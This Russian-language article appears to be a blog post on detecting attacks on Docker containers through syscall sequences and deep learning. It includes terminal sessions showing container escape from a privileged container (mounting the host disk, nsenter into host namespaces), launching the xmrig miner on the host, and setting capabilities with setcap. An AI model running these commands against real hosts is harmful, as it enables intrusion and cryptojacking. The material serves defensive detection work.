Введение
В последние годы контейнеризация и контейнерные системы стали конкурентной альтернативой виртуализации и виртуальным операционным системам, поскольку контейнерные системы предлагают более рациональный подход к использованию вычислительных ресурсов. Это достигается за счёт упаковки в образ контейнера только необходимых программных компонентов, что позволяет запустить контейнер с минимальным набором библиотек и утилит.
Тут следует отметить несколько ключевых особенностей использования контейнерных систем. Во-первых, поскольку контейнеры совместно используют ядро хостовой операционной системы, тип операционной системы внутри контейнера определяется операционной системой хоста. Во-вторых, такой рациональных подход не только привносит дополнительные риски и угрозы безопасности для контейнеров, запущенных на хосте, но и ставит под удар целевую хостовую операционную систему. Поскольку контейнер, который использует ядро хостовой операционной системы, позволяет злоумышленнику, который находится внутри контейнера, напрямую эксплуатировать уязвимости ядра. В-третьих, изоляция контейнера от остального мира (хоста или других контейнеров на хосте) лежит полностью на плечах DevOps-инженеров (Development and Operations). В таком случае одно неправильное движение может привести к катастрофическим последствиям.
Немного про логи
Существует некая теория (не путать с гипотезой) про обнаружение атак через анализ системных вызовов (syscalls, system calls). Почему же всё-таки анализ syscalls, а не, к примеру, команда docker logs или использование Auditd?
Давайте взглянем на результат работы команды docker logs, который представлен в листинге 1.
Листинг 1. Результат мониторинга контейнера с помощью команды docker logs
root@bc708ad65e85:/# nsenter --target 1 --mount --uts --ipc --net --pid -- bash
root@msx:/# cd /home/qwerty/Downloads/xmrig-6.22.2-noble-x64/xmrig-6.22.2/
root@msx:/home/qwerty/Downloads/xmrig-6.22.2-noble-x64/xmrig-6.22.2# ./xmrig
* ABOUT XMRig/6.22.2 gcc/13.2.0 (built for Linux x86-64, 64 bit)
* LIBS libuv/1.49.2 OpenSSL/3.0.15 hwloc/2.11.2
* HUGE PAGES supported
* 1GB PAGES disabled
* CPU AMD Ryzen 7 5825U with Radeon Graphics (4) 64-bit AES VM
L2:4.0 MB L3:64.0 MB 8C/8T NUMA:1
* MEMORY 3.2/16.7 GB (19%)
RAM slot #0: 16 GB DRAM @ 0 MHz RAM slot #0
RAM slot #1: 1 GB DRAM @ 0 MHz RAM slot #1
RAM slot #2: 0 GB DRAM @ 0 MHz RAM slot #2
RAM slot #3: 0 GB DRAM @ 0 MHz RAM slot #3
RAM slot #4: 0 GB DRAM @ 0 MHz RAM slot #4
* MOTHERBOARD VMware, Inc. - VMware Virtual Platform
* DONATE 1%
* ASSEMBLY auto:ryzen
* POOL #1 donate.v2.xmrig.com:3333 algo auto
* COMMANDS hashrate, pause, resume, results, connection
* OPENCL disabled
* CUDA disabled
[2025-04-10 11:19:20.727] net use pool donate.v2.xmrig.com:3333 178.128.242.134
[2025-04-10 11:19:20.728] net new job from donate.v2.xmrig.com:3333 diff 1000K algo rx/0 height 3386892 (16 tx)
[2025-04-10 11:19:20.728] cpu use argon2 implementation AVX2
[2025-04-10 11:19:20.732] msr register values for "ryzen_19h" preset have been set successfully (4 ms)
[2025-04-10 11:19:20.732] randomx init dataset algo rx/0 (8 threads) seed c088b4cf924533a3...
[2025-04-10 11:19:24.518] randomx allocated 2336 MB (2080+256) huge pages 100% 1168/1168 +JIT (3785 ms)
[2025-04-10 11:19:24.743] net new job from donate.v2.xmrig.com:3333 diff 1000K algo rx/0 height 3386892 (24 tx)
[2025-04-10 11:19:33.012] randomx dataset ready (8494 ms)
[2025-04-10 11:19:33.012] cpu use profile rx (8 threads) scratchpad 2048 KB
[2025-04-10 11:19:33.193] cpu READY threads 8/8 (8) huge pages 100% 8/8 memory 16384 KB (182 ms)
[2025-04-10 11:19:36.242] net new job from donate.v2.xmrig.com:3333 diff 1000K algo rx/0 height 3386892 (27 tx)
[2025-04-10 11:19:50.979] net new job from donate.v2.xmrig.com:3333 diff 1000K algo rx/0 height 3386892 (30 tx)
[2025-04-10 11:20:03.218] net new job from donate.v2.xmrig.com:3333 diff 1000K algo rx/0 height 3386892 (34 tx)
[2025-04-10 11:20:07.661] net new job from donate.v2.xmrig.com:3333 diff 1000K algo rx/0 height 3386893 (34 tx)
При использовании docker logs мы получаем банальный результат работы в консоли, что может быть не информативно при условии, что через консоль будет запущен некий скриптовый или бинарный файл.
В случае Auditd тут всё зависит от правил, которые используются для сбора данных. Также следует отметить, что логи, сгенерированные в результате работы Auditd, сложно читаемы, а их парсинг то ещё удовольствие. Давайте взглянем на такие логи, они представлены в листинге 2.
Листинг 2. Логи, сгенерированные в результате работы Auditd
…
node=127.0.1.1 type=USER_AUTH msg=audit(1744275450.358:3894): pid=49994 uid=0 auid=1000 ses=2 subj=unconfined msg='op=PAM:authentication grantors=pam_rootok acct="ro>
node=127.0.1.1 type=SYSCALL msg=audit(1744275450.358:3895): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7baa527cf320 a2=80000 a3=0 items=1 ppid=49993>
node=127.0.1.1 type=CWD msg=audit(1744275450.358:3895): cwd="/etc/audit/rules.d"
node=127.0.1.1 type=PATH msg=audit(1744275450.358:3895): item=0 name="/etc/passwd" inode=4212490 dev=08:02 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_>
node=127.0.1.1 type=PROCTITLE msg=audit(1744275450.358:3895): proctitle="su"
node=127.0.1.1 type=SYSCALL msg=audit(1744275450.359:3896): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7baa527cf347 a2=80000 a3=0 items=1 ppid=49993>
node=127.0.1.1 type=CWD msg=audit(1744275450.359:3896): cwd="/etc/audit/rules.d"
node=127.0.1.1 type=PATH msg=audit(1744275450.359:3896): item=0 name="/etc/shadow" inode=4212491 dev=08:02 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap>
node=127.0.1.1 type=PROCTITLE msg=audit(1744275450.359:3896): proctitle="su"
node=127.0.1.1 type=SYSCALL msg=audit(1744275450.359:3897): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7baa528ce6b7 a2=0 a3=0 items=1 ppid=49993 pid>
node=127.0.1.1 type=CWD msg=audit(1744275450.359:3897): cwd="/etc/audit/rules.d"
…
Как видно, логи действительно сложно читать. Теперь перейдём непосредственно к самим атакам и их обнаружению на основе syscalls.
Некоторые атаки и способы их обнаружения
1. Монтирование диска хостовой операционной системы из контейнера
Иногда так случается, что инженеры запускают контейнеры с неправильной конфигурацией. К примеру, если запустить контейнер в привилегированном режиме с флагом --privileged (привилегированный режим предоставляет контейнеру почти такой же уровень прав, что и на хостовой системе), то злоумышленник, находясь внутри контейнера, сможет смонтировать диск хостовой операционной системы и совершить «Побег из Шоушенка» или атаку «Побег из контейнера» (Container Escape), как показано в листинге 3.
Листинг 3. Монтирование диска хостовой операционной системы из контейнера
root@msx:/home/qwerty/Desktop# docker run --rm -it --pid=host --privileged ubuntu bash
root@3c7ccb1ff662:/# mkdir -p /mnt/TheShawshankRedemption
root@3c7ccb1ff662:/# mount /dev/sda2 /mnt/TheShawshankRedemption
root@3c7ccb1ff662:/# cd /mnt/TheShawshankRedemption
root@3c7ccb1ff662:/mnt/TheShawshankRedemption# ls -l
total 8388716
lrwxrwxrwx 1 root root 7 Apr 22 2024 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Feb 26 2024 bin.usr-is-merged
drwxr-xr-x 3 root root 4096 Apr 9 05:34 boot
dr-xr-xr-x 2 root root 4096 Apr 24 2024 cdrom
drwxr-xr-x 4 root root 4096 Apr 24 2024 dev
drwxr-xr-x 148 root root 12288 Apr 10 08:41 etc
drwxr-xr-x 3 root root 4096 Feb 13 12:45 home
lrwxrwxrwx 1 root root 7 Apr 22 2024 lib -> usr/lib
…
В данному случае выполнение команды mount создаст несколько последовательно выполняемых syscalls mount, сопоставив эти syscalls c контейнером и его конфигурацией; можно вполне точно определить, что злоумышленник пытается совершить Container Escape. Конфигурацию контейнера можно посмотреть с помощью команды docker inspect b88e4860ead4, где b88e4860ead4 — идентификатор контейнера, как представлено в листинге 4.
Листинг 4. Результат команды docker inspect
root@msx:/home/qwerty/Desktop# docker inspect b88e4860ead4
[
{
"Id": "b88e4860ead431e3ede7a3ce4978be2c2b305f388fff89f7dc39ed746e3fd18d",
"Created": "2025-04-10T11:30:33.958190701Z",
"Path": "bash",
"Args": [],
"State": {
"Status": "running",
…
2. Выполнение команд хостовой ОС из контейнера
Использование команды nsenter позволяет выполнять команды внутри пространств имён (Namespace) целевого процесса. В контексте контейнера, запущенного в привилегированном режиме и в Namespace хостовой операционной системы, эта команда предоставляет доступ к Namespace процесса с идентификатором (PID, Process IDentifier) 1; обычно это процесс init или systemd в хостовой операционной системе. Таким образом, nsenter позволяет выполнять команды в окружении хоста, обеспечивая доступ ко всем его ресурсам и процессам, как показано в листинге 5.
Листинг 5. Выполнение команд хостовой ОС из контейнера
root@msx:/home/qwerty/Desktop# docker run --rm -it --pid=host --privileged ubuntu bash
root@00c21effaa0d:/# ping 8.8.8.8
bash: ping: command not found
root@00c21effaa0d:/# nsenter --target 1 --mount --uts --ipc --net --pid -- bash
root@msx:/# ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=8.24 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=128 time=7.26 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=128 time=8.09 ms
…
В данном случае выполнение команды nsenter будет сопровождаться шестью последовательными системными вызовами: setns, setns, open, open, setns, setns. Проанализировав эти системные вызовы, а также системные вызовы, относящие к неудачному и удачному запуску утилиты ping, можно сделать вывод, что злоумышленник успешно выполнил команду nsenter и использует утилиты хоста из контейнера.
3. Назначение привилегий
В Linux привилегия root делится на более мелкие, отдельные единицы (CAP_SYS_CHROOT, CAP_CHOWN, CAP_KILL, CAP_SETUID, CAP_SETPCAP и другие), с помощью механизма возможностей (Capabilities). Это позволяет процессам обладать подмножеством этих привилегий или ограничивать операции, которые могут выполняться независимо от типа пользователя. С помощью команды capsh можно проверить привилегии контейнера и назначить привилегии файлу или процессу с помощью утилиты setcap, как показано в листинге 6.
Листинг 6. Выполнение команд capsh и setcap
root@msx:/home/qwerty/Desktop# docker run --rm -it --privileged python:2.7 bash
root@d014f75a33a1:/# capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read,38,39,40+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read,38,39,40
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
root@d014f75a33a1:/# touch scr.sh
root@d014f75a33a1:/# setcap cap_net_raw+ep /scr.sh
Использование команды setcap может быть обнаружено благодаря четырём последовательным системным вызовам: capset, capset, capget, capget. Примечательно то, что сначала привилегии с помощью системного вызова capset назначаются, а потом с помощью capget запрашиваются у целевого объекта. Это необходимо для того, чтобы проверить, что привилегии назначены.
Что дальше?
После понимания того, какие syscalls могут указывать на конкретные атаки, можно применять методы глубокого машинного обучения для создания моделей обнаружения. Тут следует отметить, что у каждого метода есть свои особенности.
К примеру, AE (Autoencoder) основан на ошибке реконструкции, что позволяет обучить модель для реконструкции данных об определённой атаке. В таком случае высокий показатель ошибки реконструкции будет свидетельствовать о том, что модель не была обучена реконструировать эти конкретные данные. MLP (Multilayer perceptron), напротив, являясь простейшей нейронной сетью, прекрасно может подойти для классификации данных и расчёта долей вероятности принадлежности наблюдаемого класса к конкретному типу атаки. В случае с LSTM (Long short-term memory) всё немного иначе. Данная нейронная сеть основана на анализе последовательных данных. К примеру, обучив модель на последовательных данных об атаке, она приобретает возможность предсказывать следующий шаг на основе текущего. Совпадение предсказанного значения и фактического с большей долей вероятности может свидетельствовать об атаке.
Заключение
В заключение важно отметить, что при обучении нейронных сетей потребление вычислительных ресурсов и времени напрямую зависит от объёма данных и сложности архитектуры. Кроме того, учитывая, что в среднем каждый процесс выполняет от 60 до 80 syscalls, а нейронные сети работают исключительно с числовыми признаками, нормализация этих данных может потребовать значительных временных затрат.